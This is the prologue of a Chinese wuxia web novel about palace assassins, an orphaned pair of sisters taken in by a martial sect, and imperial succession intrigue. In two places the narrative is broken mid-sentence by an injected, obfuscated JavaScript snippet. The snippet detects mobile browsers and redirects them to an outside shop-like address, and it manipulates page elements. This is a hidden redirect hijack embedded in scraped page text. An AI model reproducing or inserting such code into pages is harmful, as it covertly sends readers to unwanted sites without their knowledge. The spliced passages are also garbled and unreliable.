《无字碑》 1. 楔子(上) 四月初七扶苏门 “许门主,可否进去说话?”来者风尘仆仆,满脸焦急,手边和怀里抱着一大一小两个女孩,大的约莫幼学之年,小的不过刚足岁。 “唱意?”门后的人大概三十出头,阔面细眼,重眉宽唇,虽相貌平平,声音却娓娓动听,她将大门多打开几寸,往旁边一让,道,“先进来再说。” 两人把孩子安顿好后来到房中,弟子都在院里练功,剑声交错,话语嘈杂,此刻屋内关起门来,只她们二人。叫唱意的女子看起来二十七八,她一身素雅布衣,虽然奔波疲怠,却不掩容色清丽,一眼便可见其年轻时的眉目如画。她急急开口道,“许姐姐,现在已到了万不得已的境况。只是我与宋郎愿舍生取义,孩子却不能一同命折,求许门主,”她扑通一声跪于地上,“求许姐姐,收留两个孩子为扶苏门弟子。” “唱意,我们是同过生死的交情,你的孩子我自然管,你和宋先生我也要管。王室养的暗卫会些什么招数你我最清楚不过,我加上你,未必不能一拼。” “不可!”唱意急道,“姐姐,你是我们这几个当中唯一还得自由之身的人,若是你出去迎敌,那这几年,你好不容易改头换面,重造身份,开帮立派,不都白费了?!” “那我也不可能眼见你与宋先生去送死而袖手旁观。”许门主去扶地上的女子,她却不肯起身。 “姐姐,权当是为了妹妹的两个孩子。”唱意让自己的情绪逐渐冷静下来,好说服对方,“你的身份一旦暴露,扶苏门毛将焉附,届时我的两个孩子也会一并暴露。姐姐,请成全我吧。”她磕下头去,笑容坚定,眼泪却止不住的掉。 这个叫高唱意为女子走的时候没去看孩子,她是从后门离开的,一步都没回头。 而姓许的门主名霓生,她来到隔壁房中,立在这个刚离了母亲的亭亭玉立的小女孩面前,上下打量,好像一眼就看到了十一年前。她容貌五分随了母亲的眉眼秀致,也随了母亲清冷不爱笑的嘴角。 “姐姐贵姓?我叫高唱意。” 那是在太子府。 二十岁的许霓生,在太子的密室见到了这个比自己小几岁的女孩,一根木簪贯过头顶的混元髻,腰纤如弱柳,指若削葱根,薄薄罗澹澹衫,她容貌婉约清丽,却双黛螺轻颦,眼神凌厉,唇角下撇,目中尽是狂傲。 她脸上的不可一世,和自己刚入府的时候一模一样。 “霓生,这次挑来的底子不错,从明天开始,由你带她。”遥遥站在石阶上的男子开了口,他头戴黑色斗篷,面庞隐在阴影中。 “是。”霓生端正行礼。 男子离开后,那个女孩道,“姐姐贵姓?我叫高唱意。” “我姓许。”霓生没去看她,自顾自系上蒙面巾。 “许姐姐,看你一身夜行衣,难道今晚有任务?我随你一同去,任他什么角色,决计逃不过本姑娘手里这柄长剑。” “用不着。”许霓生淡淡开口,“殿下方才说的很清楚,明日我再带你。”说罢便离开了。 后来她们渐渐熟悉,高唱意才知道霓生面冷,对自己却很好,她们总是在一个个绝望的夜晚相互取暖。太子府有刺客十人,只有她们两个是女子,而唱意入府之前并不知道,同是刺客,男子可做暗卫,可刺政敌,而她们二人要做的事情还包含委身以拿住朝中官员把柄。她想起入府后两人的第一次闲聊,霓生问过她:是不是自以为能入太子府,是万里挑一,十分厉害。 “不是吗?殿下是储君,我为殿下做事,就是为南唐做事,这天下万物各自得当,也得有我高唱意一分功劳!” 没过几天,她就领到了第一次刺杀命令,由霓生带她共同前往。 “你之前杀过人吗?”许霓生道。 “没有。但是以你我二人的功力,放倒一介小小文官还是不成问题的吧。”她一心只想着完成命令,完全没听懂许霓生话里的意思。 直到她们趁夜潜进周侍郎府宅,血洗院墙,剑过喉封,高唱意愣愣看着周侍郎倒在自己脚边,她突然有些回不过劲儿来。 “这个男人曾经逼迫你行不欲行之事,杀了他有什么好难过的。”许霓生举起剑,准备解决旁边吓得瑟缩在角落里的周家妻女。 “等一下!”高唱意动摇了,“姐姐,姓周的该死,但是妻子女儿何辜,不如…不如咱们饶了她们。” 地上的两人一听或有转圜,张嘴便欲呼救,许霓生立刻挥剑毕了二人的命。 “她们无辜与否由殿下判断,你我听命行事,自作主张是大忌。”后者说着,从那姓周的身上扯下一块布来擦拭剑身。 “别真把自己当刺客了,你我不过是杀手。” 高唱意突然明白了为什么只比自己大上三岁的许霓生,一张俊俏削塑面,眼中却总是空空的没有神采,因为很快,自己也变成了这副模样。 直到一年后她遇见了太子请到府中的画师——宋质玉,她的生命又渐渐找到了欢愉。宋质玉姿容既好,神情亦佳,她见到他的第一面就挪不开眼睛了。两人一个是微末画师,一个是秘密暗卫。 睥睨巨上的太子从未想过他不曾正眼瞧过的下等二人居然会暗通款曲,甚至一同私奔逃跑。 “高唱意经手的密报太多,去把他们二人抓回来,抓不回来,就一并杀了。”他下了命令。 许霓生领了命,和另外两个刺客一同前去追捕,三人终在京城内的一处僻静巷子里追上了二人。 “唱意,你没有符牌,只凭宋先生一人的符照根本出不了京城,快快随我们回去吧。”其中一男的道。 “回去等着被杀吗?不必多说什么,来吧。” 那两男子也不手软,拿着弯刀便朝唱意攻来,招招致命。 “哼,我以为两位是朋友,对我多好呢,原来也是随时可杀同袍朋友以换功劳的狠辣之人!”高唱意艰难抵御,还得随时护着宋质玉,已显吃力神色。 “唰”地一声,长剑破空,其中一男已被割喉瞬杀。 “许姐姐你…”唱意惊道。 不及多言,两人联手很快便把另一男子了结了。 “多谢姐姐,我以为,你也是来杀我的…” “我的确不是为了救你,是救我自己。殿下如今不过十七,已经越发不在意我们的性命,命令一次比一次艰辛,我已经在府里六年了,再不跑,性命迟早交代在这里。你只不过是早了我一步行动罢了。” 她从地上的男子身上扯下一块衣料,擦干剑上血迹。 “现在已是戌时,一起出城风险也大。宋先生不会武功,让他先正常出城,你只需再等一个时辰,届时夜色笼罩,侍卫换班之时再翻墙走,你轻功比我好,不至于被发现。” “姐姐,我没告诉你,我…” “唱意怀了我的孩子。”宋质玉上前道,“太子妃娘娘贤善,她召我画像的时候知道了我二人的事情,又得知了唱意已有身孕。是娘娘助我们离开的,她赐了唱意一块铜符,以便出宫,后面离城的路好走,我二人并无大碍,重要的是许姑娘你。” “对,姐姐,现在你杀了自己人,可要如何自救?” “我自有办法。先告诉我,你们离开后打算去哪里?” “回家乡,芙蓉城。” “好,殿下不知你的家乡,离此又远,想必不易查到,等我脱身,定去找你。你身子要紧,走吧。” 唱意眼角含泪,她咬了咬嘴唇,“姐姐,咱们后会有期。” 这副神态太过深刻,印在她骨髓深处。 此刻只是换了容颜。 眼前的孩子虽相貌五分随了母亲,但与唱意的潇洒气质迥然不同,她衣衫破旧,然不掩姿容,眼神楚楚,神情苦苦,鼻中一颗淡痣,不如说另五分更随了她父亲文质雅彰,柔美动人。 “酬雌拜见师父。”小小人儿轻盈拜下,她噙着泪却半点不出声,当真如唱意方才走前所交代的,大女儿心思细敏之极。 “从今日起,你就是扶苏门第十七位女弟子。有扶苏门一日,就有你和小妹一日。” 许霓生将她扶起,又转身去抱起襁褓婴儿,那孩童玉雪可爱,睁着圆眼,灵气逼人。 “宋西州。”她唤道。 “唱意托我取名,你姐姐名中既带一酬字,你就叫,宋西州。” 另一边离开扶苏门后高唱意一路往西,二人偷生十年,如今被发现踪迹,自知再难脱身,之前她与丈夫已说好,他们逃出芙蓉城后,两人分道而行。宋质玉先去康州,再转眉州,在每个核验符牌处刻意与人交谈留下印象,引敌前来,自己则往相反的方向,将两个孩子托付至江陵扶苏。她心系丈夫不会武功,骑马又拙,一旦真被太子的人追上便再难逃命。于是事毕后她以轻功尽快赶去眉州,可还是晚了一步—— “高姑娘,久仰大名,你终于出现了,还以为你丢下宋先生跑了呢。” “你是谁?”高唱意冷笑一声,“现在殿下尽喜欢招些阴柔的人当爪牙吗?我在府里的时候,只怕你牙还没长齐。” “高姑娘早早叛离殿下,自然无从见到在下。”说话的男子丝毫不生气,手持一双弯刀,架于宋质玉颈侧,嘴角噙笑,面容秀美俊俏更胜女子,一把细嗓似飘非飘,“宋先生原也是府里出了名的品貌翩翩,不知现下和我站在一道,谁更胜一筹呢?” “宋郎文质彬彬,岂是你这种虚有其表之人能比的?”高唱意拔剑出鞘,一个箭步攻了上去,那男子不急着出招,一直立于两侧的另二人先接了上来。 “看来现在连杀手都分三六九等了。” 她长久奔袭,体力已然不支,太子府的刺客个个精挑细选,自己以一敌二已显吃力,更何况观战的那人只怕功力更强。 宋质玉见妻子逐渐落于下风,急急喊道,“唱儿,不要缠斗,更不要念着救我!能走便走!” 对面却丝毫没有动摇的意思。宋质玉心一横,往前一撞,弯刀顿时划破他的脖子,血流不止,没一会便死了。 高唱意虽已和丈夫抱了双双赴死的决心,可眼见心爱之人倒在面前,她悲痛欲绝,发了狂似的,全然不顾自保,只拼命刺向纠缠于己的两人。 那阴柔男子似是十分嫌弃似的将宋质玉推远了些,生怕血染及自身,他看同行两人竟在宋质玉死后渐现不敌之意,弯刀一转,直冲高唱意而来。 高唱意一时之愤激出的潜力不能让她坚持太久,很快便破绽连连,愈打愈累,愈累愈烈,她苦苦支撑半个时辰,也只在那阴柔男子的脸上划破了一道长口。 然后她死在全身二十道伤口之下。 “如你所说,杀手也分三六九等,赢了的才是刺客。”弯刀的主人用衣袖沾一沾脸上的血痕,看着地上的尸身道。 另外两人把高宋二人的尸体搬进棺材箱子,见他一直愣在原地迟迟不上马,其中一人便道,“显开,没事吧?明日先去药店抓些消痕的再上路,尽量别留疤了。” “无妨。”使弯刀的男子名叫叶显开,年少入府,武功高强,心思狠辣,十分得到太子赏识,刺客之中虽不分官职高卑,但众人见风使舵,对这位姓叶的少年自是奉若瑰宝。叶显开略略一沉思,道,“据说当年高唱意一人杀了殿下派去的三位刺客,可今日交手,她的武功最多以一敌二,如何能斩杀三位高手呢?” “你的意思是她当年有同伙?” “只怕这回两人没有一路同行也是为了明修栈道,暗渡陈仓。以宋质玉引我们从芙蓉城来眉州所用时间,往反方向推,就是高唱意去的地方。”他从袖中拿出图纸,以指推算距离,高唱意鞋沾湿泥,那地方必是江边,而沿路往东,距离适中的只有,“江陵。” 她去江陵做什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253641|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “劳烦两位兄长先带宋质玉回去报殿下吧,我要带高唱意的尸体,去一趟江陵。” 四月十五晚永宁宫 正是皇帝生辰,宫中大摆宴席,金碧辉煌间觥筹交错,当真是寻芳逐胜欢宴,丝竹不休,皇帝坐于金椅,满目奇珍异宝现,满耳笙箫歌舞起,自是圣人永无忧。 太子坐于东向首席,他已过二十七,面颊削瘦,眉压眼深,棱角锋利,一身红色纹龙服,身旁坐的是太子妃,嘴角带笑,面色可亲,雍容高贵中更显大气谦和。 半晌之后,一个随从打扮的男子从边门悄步走到太子身旁,借斟酒之时耳语几句,又退下了,此人正是那日叶开显遣回报信太子的两刺客之一。 “大哥,我闷的不行,想出去转转。”坐在太子后排的小皇子凑上来撒娇道。 “好,出去玩吧,半个时辰后给父皇献礼,那时赶回来就行。”太子心中想着叶显开所推测之事,随手对幼弟挥了挥。 他对当年之事本有疑心,高唱意以一敌三,还杀掉了自己最得力的霓生,加之派去查的人也一无所获,只报称“高许二人感情甚好,或许是许霓生不愿置其死地才终致自己反被杀。”自己那时又忙着稳固太子势力,急于招募新一批刺客补上许霓生的缺。一切的一切,皆因当时没有亲眼去看尸体,真是失策。 “七弟转眼都十二岁了,还和小时候一样。”太子妃看着他跑出去的背影,笑着摇摇头。 “他在宫里没有玩伴,亲戚中只十叔家的女儿比他小两岁,算是同辈,但是一年到头也不过才能来宫里一两次,七弟自然要找她去了。” 太子顺嘴回答,他头都未侧一下,心下一转,他和叶显开得出了同一个结论,若当年许霓生是假死… 当夜江陵 “能以人皮面具掩护假死,许霓生,我倒是对你比姓高的更有兴趣。”叶开显一人一马立于江边,水阔岸潮,月光幽微,一女子从黑暗处缓缓走出,正是扶苏门主许霓生。 “你脸上的疤,是唱意送给你的吧?”许霓生一袭青衣,她神情冷峻。 “不错,可惜她和宋先生已经双双赴黄泉了。”叶开显用弯刀点一点身后马背上的褐色棺材,“这不,躺在里面呢。” “娘——” 宋酬雌突然不知道从哪冒出来,一下子冲到马背边上,她个头尚不够马高,拼了命扒拉,马受了惊一脚踢到女孩肚子上,宋酬雌吃痛倒在地上。 “酬儿?!你怎么跟来了!”许霓生大惊,作势便要往前。她傍晚回房时在门边收到一枚断箭,下钉一截衣布,上用血书:江边。她一眼识出唱意的衣服,急急赶来,却丝毫没注意到宋酬雌一路尾随在后。 忽地一把弯刀被掷出,直插在宋酬雌面前。 “原来高唱意是为了托孤。许门主,多谢了。”叶显开安然坐于马上,居高临下。 “你敢动她。”许霓生顿住脚步,她定定心神,换了语气道,“这位大人,殿下的命令无非是让你了断一切可能有泄密之嫌的人,但如果有一个方法可以保证我不仅不会泄密,还能为殿下提供他想要的东西,不知大人可否愿意以酬儿性命交换?” “许姐姐真是聪明人,怪不得殿下总提起你,说你曾是他最看好的刺客,可惜啊,为他效忠五年,最后却因一个新入府不过一年的高唱意而欺骗殿下。”叶显开故意拖长欺骗二字,他意味深长地笑一笑道,“许姐姐,你能拿出的条件可得好好掂量掂量,这份量够不够殿下原谅一个曾经欺骗过他的人啊?” “一个扶苏门,加上我这双手,够不够?”许霓生抬手,揭下脸上面皮,露出原有容颜,哪里是能以普通二字一语概之的?她面容如塑,细眉上挑,眼眶深凹,比高唱意更多了几分英气凛冽与深沉稳重。她接着道,“大人几天之内便能查到我扶苏门来,的确是本事了得,想必殿下一定很信任你。只可惜信任是双刃剑,越是在意,越会委以重任,不知道大人是否有过手不应心的时候?”许霓生当年和叶显开如今在王府地位相似,她忆及自身,自然知道叶显开的痛处,“想必加上我和扶苏门的相助,大人你,日后的差事也能轻松不少。” 叶显开笑意更深,他是忠心太子,但他更想活着效忠殿下,他并非全能,太子的诸多任务他常常九死一生方可成事,如果有扶苏门在江湖上接应,倒的确可以为他们身在府中的刺客,提供不错的携助。 “看好你家的小弟子,别再出来招人现眼。”叶显开调转马头,带起弯刀,扬长而去。 宋酬雌见娘亲棺材一并被运走,爬起身就要去追,“娘——”她喊得私心裂肺,许霓生将她牢牢箍住。她如何不想留下唱意,可也只有她明白,他带棺材前来,不过是为了保住头份功劳时刻在身边,不被抢了去。 府中刺客,向来只看功劳。 只是没想到他竟然真的会答应以放过酬儿的命为条件,他大可以如实禀报殿下,杀了酬儿。以太子的势力,亦完全能以扶苏门全派弟子为要挟,逼自己效力啊。 “娘…”宋酬雌的神智逐渐昏沉,不知唤了多少声,她晕了过去。 有孩子歌舞升平,有孩子月下奔命。向来如此。 十岁的宋酬雌还未理解自己名字的意义,但已经体会到了仇恨的重量。 与此同时永宁宫外 “参见母妃。”七皇子欠身拜下,“母妃喝过药了?” 对面的女子在侍女簇拥下步伐摇曳着走近,她弯下腰来,身上的珠翠叮咚作响,“是啊,母妃先回宴上了,祝儿,你别玩的过了头,等下快些回来给你父皇拜寿。”她说完之后,掺了宫人的手,顺着连廊往宫宴上走去。 “是。” 七皇子应下后就往小花园去,远远便看见冬暖池边一位年龄相仿的少女背影,提着灯正喂鱼食儿,身后侍女远远围了一圈。 “沈妙常。”他叫道。 2. 楔子(中) “沈妙常。”他叫道。 掌灯的少女回过身来盈盈拜下,“参见兄长。” 她头梳飞仙髻,斜插桃寿簪,身上的一袭长裙色如章丹,明明站在黑夜中,却让人似见浓烈的夕阳映照,池中锦鲤聚集,远远看去倒像以裙为桥梁,鲤跃落日,裙摆层层叠叠,最外层的底缘处以细线吊了一圈铜铃铛,微风拂过清脆作响。 “小顾怎么没跟着你?”待七皇子走近,她问道。 “我可没你的福气,每回入宫父皇都派数十人跟着。”七皇子笑道。 “那是因为兄长身边的小顾大人,一个可顶十个。” “大半年没见,你奉承拍马的功夫倒是见长。”七皇子也撒了一把鱼食,道,“你这次穿的如此隆重,难道等下你的献礼是亲自跳舞?” “兄长明知故问。我们瑶疆若说奇珍异宝的雕琢本事,自然是比不过中原的诸多能工巧匠,但是要论歌舞,也无人能及我们苗桃女子。父亲只能派我出奇制胜,博皇叔一笑。” “你们先退下,去东边廊下等着。”七皇子屏退侍女,才道,“什么我们你们苗桃的?你姓沈,是父皇亲封的定边郡主,身上一半留着中原的血。你如今也十岁了,这种话以后可莫再说了!” “知道了兄长,我也就在你面前图个嘴快。”沈妙常歪一歪头,从七皇子后方看到一个少年正快步过来,她笑道,“说曹操曹操到。” “参见殿下,郡主。”来人看上去与七皇子差不多年纪,腰系蹀躞带,足蹬黑长靴,年纪虽轻,眉宇间总现愁容,正是七皇子贴身侍卫顾念怀。他凑近轻声对七皇子耳语了几句。 “妙常,我有事要去一下,你也早些回席。” “是,恭送兄长。” 沈妙常转过身去,她将灯笼照的远了些,可看到黑暗的地方又映出更多金色红色的鱼儿来,忽地一条大鱼摆一摆尾,往更深处的荷叶下去了,沈妙常觉得有趣,便伸长了笼杆去照,突然那鱼又出现在脚边近处,猛地跃出池面,拍打起一阵水花。沈妙常吓了一跳,一个重心不稳便要栽进池中。 裙边铃铛作响,耳边阵风刮过。 沈妙常没有落水,站定后她看着面前的少年男子,黑衣黑靴,腰间扎的蹀躞带和顾念怀是一样的打扮。 “多谢你。” 他本在远处旁观,见沈妙常似要落水,便出手相救,施展轻功靠近,双脚点过湖石,左手牵起细腕,护人转圜回岸。快捷的身影瞬间带起一阵夜风,铃铛割破水面划开一圈作响的波纹。鱼儿倏忽四散,此刻近些面对着,他才恍然知他人形容此女的种种沉鱼落雁容、闭月羞花色之语丝毫不虚。发觉自己的手有些失礼,他轻声道,“不必谢。”短短抛下这句话后,便转身离开了。 “你方才说父皇请了祝家来?”七皇子避开人多的地方,换了一副神态,他双手背起,目光里是精算和野心。 “是,本来没在名单里,陛下刚刚传的,现在祝大人携女正在进宫的路上。”顾念怀答道。 “今天可是家宴,父皇如此宠信这位新贵祝大人,看来我必须要做出让步啊。”七皇子攥紧拳头,他想起一个月前,吏部通报经考核升了一位祝大人从瞿州地方至中央工部,任员外郎,小小员外郎本不会掀起大浪,可他显然不是常人。任后第一件事就是上谏书请令将瞿州久不得治的水患重建堤坝,精修水利,他亲自回城监修,赶在暴雨前完工后,第二件事情就是把瞿州贪污官吏的证据整理成册,回朝之日直接上递天听,皇帝当即就发落了一众人,却只升任其为工部郎中。 七皇子心里清楚,他的父皇一向看重关系脉网、稳固帝位,高于百姓所需、政清人和。这回一下子撸了近十位官员,不过是以祝大人的功劳在先,贪污之事又直接递于眼前,被架在中间不得不做出样子罢了。 紧接着皇帝为表对祝大人的珍视,以其姓氏与七皇子沈谛祝名讳冲撞一事,竟有意要为皇子改名,今日又在家宴特邀其携女前来赴宴,满朝群臣只他一五品官员有此殊待。表现的如此明显—— 如此就能彰显自己的爱民之心,廉政之名吗? “祝大人的千金今年多大?”沈谛祝突然问道。 “似是比郡主略长半岁,属下听闻几天前滇南王一家刚入金陵时,郡主曾偶遇祝大人之女,两人在集市逛了半日,又一同去了郊外礼佛踏青,很是投机。” 沈谛祝按时回到席上,沈妙常也已入座,她身上多了件湖蓝披风,将裙装的灿烂与明媚一并藏下,恰似湖面静谧,锦鲤暂游于暗波之下,等献礼一刻到时,手执一盏灯笼,再揭湖底美景。而此时,祝家父女到了。 祝大人身着官服,衣冠整齐,身后跟的便是其女,她一袭礼服,虽没有代表品级的纹样装饰,但举止大方,并不逊于世家女子。两人一并行礼过后,皇帝为示亲近,单独又问了祝女的名字。 “臣女祝之笺,参见皇上。臣女再拜皇上千秋永寿,龙体安康,国运昌盛。” 祝氏父女落座西向后排,沈谛祝向她瞧去,额首似螓,细黛似蛾,弯眼含喜,眉目同弓,鼻若玉葱挺立,欢而笑不露齿,正如念怀所说,书香门第,大家闺秀。 宴饮过半,几位皇子纷纷献上贵礼,一直坐于西首的滇南王起身道,“皇兄大寿,臣弟小女特请为陛下献礼,还请皇兄一观。” 众人一齐向外看去,门口处推进来一座足有两丈高的荷花座塑,底座仿的正是冬暖池,中置浅浅一层清水,荷花苞在牵引绳的外力下数瓣同时绽放开来,一执灯少女立于其中,正是沈妙常。她不知何时遛出了殿去,此刻已经卸下了披风罩衣,灿如朝晖的长裙夺人眼目,手提笼杆,脚踏阶梯,绕着铜制荷花茎飘然旋转而下,众人这才注意到她脚下所穿并非寻常短靴,而是特制木屐,她舞姿不停,年龄虽小,气势却高,足下水花飞溅,裙铃铛铛作响,灯笼随人画圈舞动,池底雕刻的锦鲤图案时不时映照出来,清水跃上浓裙,更见天水一色。 “十叔的献礼向来最有新意,也唯有妙常,能将这些新奇点子都落成实在。”一舞毕后,太子率先称赞道。 “太子殿下过誉了。”滇南王妃姜云谣站起身来,十分醒目的南桃服饰与异域相貌让她与在场的所有女子区别开来,她已年近三十,肤胜白雪,更显眸似点漆,她说道,“小女才疏学浅,唯舞技勉强可观,蒙皇上不弃。妙常以此舞献贺皇上,正因南唐如初荷正盛放,滇南一地如池中鲤,得荷塘庇佑,才能盛意生长。”她斟起一杯酒,继续道,“臣妾敬皇上,愿皇上福祚绵长,视日升月恒而并久,与乾元坤厚而俱长。”说罢一饮而尽。 “王妃的口才,不亚于郡主之舞啊。”皇帝龙颜大悦,道,“汉有长信宫灯像,越有西施响屐舞,朕如今一宴之上得观两者巧意共通,况且,妙常执灯比之宫女像更添高贵自强,响屐小铃又比吴越时少了功利与虞诈。定边郡主之舞,堪称一绝。” 至少在当时看来,大殿上是一派霁风朗月,何其庆祥。 皇帝寿诞结束后没几天,沈妙常随母亲先回了苗疆,滇南王留侍数月。而在这几个月中,七皇子面见皇帝,请求赐亲祝家女。 他那日宴席就已打定了主意。祝家眼下只是小小五品并不要紧,皇帝对祝大人假意亲近也不要紧,要紧的是朝廷百官,看似是天子臣,实际早已分成数位皇子属派,而祝家这股新流进来的清泉尚未被划分,祝父刚正不阿,清廉自守,这样的人在朝中并不易立稳,更何况没有几人看不出皇帝对祝家到底是真心还是假意。可祝家这样的好官正是他沈谛祝需要的,也只有他沈谛祝才能给祝家用武之地。 他跪在皇帝殿外两个时辰,换来了赐亲圣旨,四年后完婚。 太子妃是赵国公家的嫡女,其他几位兄长的正妃一室也都为朝中重臣女,他求娶工部侍郎女,对祝家是莫大荣宠,但对皇帝,则无异于逼迫他坐实宠信祝家,抬举祝家。既然父皇爱演戏,就莫怪自己将计就计了,沈谛祝确信,按照自己对父皇的了解,他绝对不会让外人非议自己对清廉之臣的优待是作假。虽然正因如此,结下亲缘后,改名换“祝”一事便即顺势作罢,但他与皇上的父子关系,却瞬降冰点。 另一边太子府,叶显开回府后,向太子禀报了高唱意与许霓生一事,他唯独把高唱意女儿一事瞒了下来。 只说高唱意与宋质玉这十年都在芙蓉城定居,自己也听从太子令,按照上一代刺客排查过的州城,继续寻找,那日刚入芙蓉城,想必是被高唱意发觉了,他们二人先一步离开了芙蓉城。自己一行又中了宋质玉计策,被他牵着跑了两座城,而宋做这些,都是为了掩护高唱意前往江陵向尚在人间的许霓生报信。 “还真是姐妹情深。”太子脸上露出厌戾的神情,“可也足够愚蠢,高唱意这一去,倒是反把许霓生的住所送到你我眼前了。” “殿下英明,正是如此,属下才探查到许霓生。” 叶显开微微有些冒冷汗,他又把许霓生愿献扶苏门一事汇报给太子。 “霓生,霓生。”太子低低重复了几句,转向叶显开道,“你觉得呢?扶苏门在江湖,地位如何啊?” “回殿下,算是中流门派,虽然成立不过十年,但已经有些江湖声望。不过卑职觉得许门主一人的能耐,足可抵一整派,若非亲眼所见,卑职也不相信竟有这样高超的易容术。” “好啊,答应她。”太子接口地很爽快,“本殿要马上看到她的诚意,让她多去渗透其他门派。既然要涉足江湖,一个扶苏门怎么够?” 四年后< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253642|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈谛祝十六岁,封屿王。祝大人升任正二品工部尚书,其女祝之笺方至十五,便与屿王成婚,册封屿王妃。 祝之笺十岁以前是在瞿州度过的,那时父亲科举中第,一朝春风得意,分配的职位却被有权势者顶替,遂在瞿州兢兢业业数载,终于得以入仕金陵。刚入朝廷,家里接二连三获取殊荣,正惶恐不已间,父亲又带回了自己被赐婚七殿下的消息。 “什么?”祝之笺与母亲都惊讶不已。 祝父把下人全部摒退,才慢慢道,“咱们家只是小地方上来的,初来乍到,皇上赐亲七殿下,这本是无上的荣耀啊。只是朝局复杂,你嫁去皇子,为父明里暗里都会再难中立,这一旦有站队之嫌,却要如何专心为百姓做事啊?况且皇家争储向来是…血雨腥风不为过,咱们祝家又没有同朝为官的亲眷朋友,你到时身处其中,真不知是福是祸啊。” “女儿愿意嫁。”十一岁的祝之笺神色坚定,她道,“父亲说我祝家竖没有根基,横没有亲眷。如果女儿嫁过去,七殿下就是我们的亲眷。再说,那日女儿与定边郡主同游,看郡主善良聪慧,七殿下与她关系尚佳,想必也是同道之人,如此,父亲想真正为百姓所做之事,定会更加便利。祝家祖上三辈,父亲是第一位官至金陵的,父亲何不立志,祝家根基,便从此始。” 沈谛祝与祝之笺成婚后夫妻和睦,祝大人也的确秉其一贯作风,而护佑他正直行事免受暗害的,正是七殿下,一切都稳中有序,除了他们仍然都没有沈妙常的下落。 她自从四年前回到滇南不久,就失去了消息。 同年江陵 许霓生在四年间把桐城派掌门,青州派掌门,云城派掌门和新剑帮帮主四大门派的掌门人扩展成了太子殿下的势力范围。同时,叶显开也遵守了承诺,不曾泄露宋酬雌的身世,虽然许霓生一直不知道他为什么愿意帮酬儿。 宋家姐妹两个也逐渐长大,宋西州明眸皓齿,机敏聪慧,最讨大家喜欢,她极好地传了宋质玉在作画上的天赋,不过四岁,也未曾得到父亲指教,奇思妙想却比其唯有过之无不及,许霓生也感叹她对人相皮骨的感知过人,有意将自己的易容之术全部传授于她。 宋酬雌则专心习剑,她从小练武的基础尚在,勤恳多思,将母亲留下的剑谱重新汇编,又在师父的帮助下,创造出了一套以招数变化无穷为特点的宋氏剑法。只是她的脸上少见笑意,总是轻蹙双眉,微抿朱唇。 许霓生寻了一个晴朗的天气,带着宋酬雌登了江心亭,周围惊涛翻涌,重浪拍岸,许霓生向她讲起自己与高唱意曾在太子府效力的所有事,讲起她托付孩子于自己时留下的所有话,她那日说:“我给她取名宋酬雌,就是想让她记住救下我们的太子妃娘娘和姐姐你,铭记恩情,淡忘仇恨,如此平安一生,唯我所愿。”宋酬雌在狂风呼啸中大哭了一场,她答应许霓生,会好好照顾妹妹,练好武功,行侠仗义,尽力做到母亲希冀。 回去后宋西州蹦蹦跳跳地迎上来,宋酬雌笑着摸摸她的额发。她按谱潜心练剑,转眼就是三年。 又是四月,扶苏门全体弟子要外出游历江湖,检验一年所学,宋酬雌此时正是最得力的弟子,一应事宜,由她做主。而宋西州还只有七岁,则和师父一起留在师门。 她怎么也想不到,此一去竟是和师父的永别。 四月二十夜 宋西州老早就想去林子里捉萤火虫玩,这天夜里,她看着师父已经睡了,就蹑手蹑脚跑出去。江边与林子间有一大片草地,前天刚下过雨,正是萤火虫最多的时节,她远远就见到了大片的莹绿,月光幽微,点翠遍野,宋西州瞪大了眼睛,兴高采烈,她从小听姐姐讲过车胤的故事,只是没学到如何刻苦的精神,却学了抓萤火虫的方法。她拿出布袋,一股脑地兜满了一大袋。玩够了已是后半夜,她提着袋子往回走,怕惊醒师父,她轻轻推开院门。 师父,倒在血泊之中。 她霎时如坠冰窟,全身上下像被一万根铁钉钉住了,又像有无数只虫子在身上快速地爬,又痛又麻,宋西州被吓傻了,手里紧紧抓着袋子,她叫不出声音,也迈不动步子,只愣愣地看着。 而那个杀手背对院门,就单膝蹲在师父尸体旁。 许霓生和宋西州的房门都大开着,她死在院中,显然是发生打斗时,急着来看西州,发现她不在房内,便继续在院中应战,最后不敌而死。 宋西州现在并没有能力思考这些,她看见那个人回过头来。 墨发高束,黑巾蒙面,夜风历历,马尾飞扬。眉峰聚如山,目色藏杀气。他左手中一柄长刀,立于身侧,刀尖正贯透许霓生心口。 “啪”地一声,布袋掉至地上,聚于其内的数十只萤火虫上下起伏,露出微弱的火光。 3. 楔子(下) 六月十三夜,杭城 城郊的一处林里,两个打扮怪异的男女正在滂沱大雨中策马急奔,两人坐骑均是波斯名种绝影马,雨下的急,树木又密,两匹马却跑的既稳且快,只听其中那女的道,“咱们来中原一月有余,竟什么也没探听到,怎的当真没人知道滇南王还有个女儿在世?” 男的又道:“师妹莫急,她有意要躲,自然是不会以真实身份示人,何况如今已过去七年有余,咱们对她除了身携金鳞蛊,其余一无所知,自然找起来困难重重。不过后日就是澄清大会,这两日江湖名门望族皆会来此,何愁打听不到一二。前方瞧着似有个山洞,眼下先进去避避雨罢。” 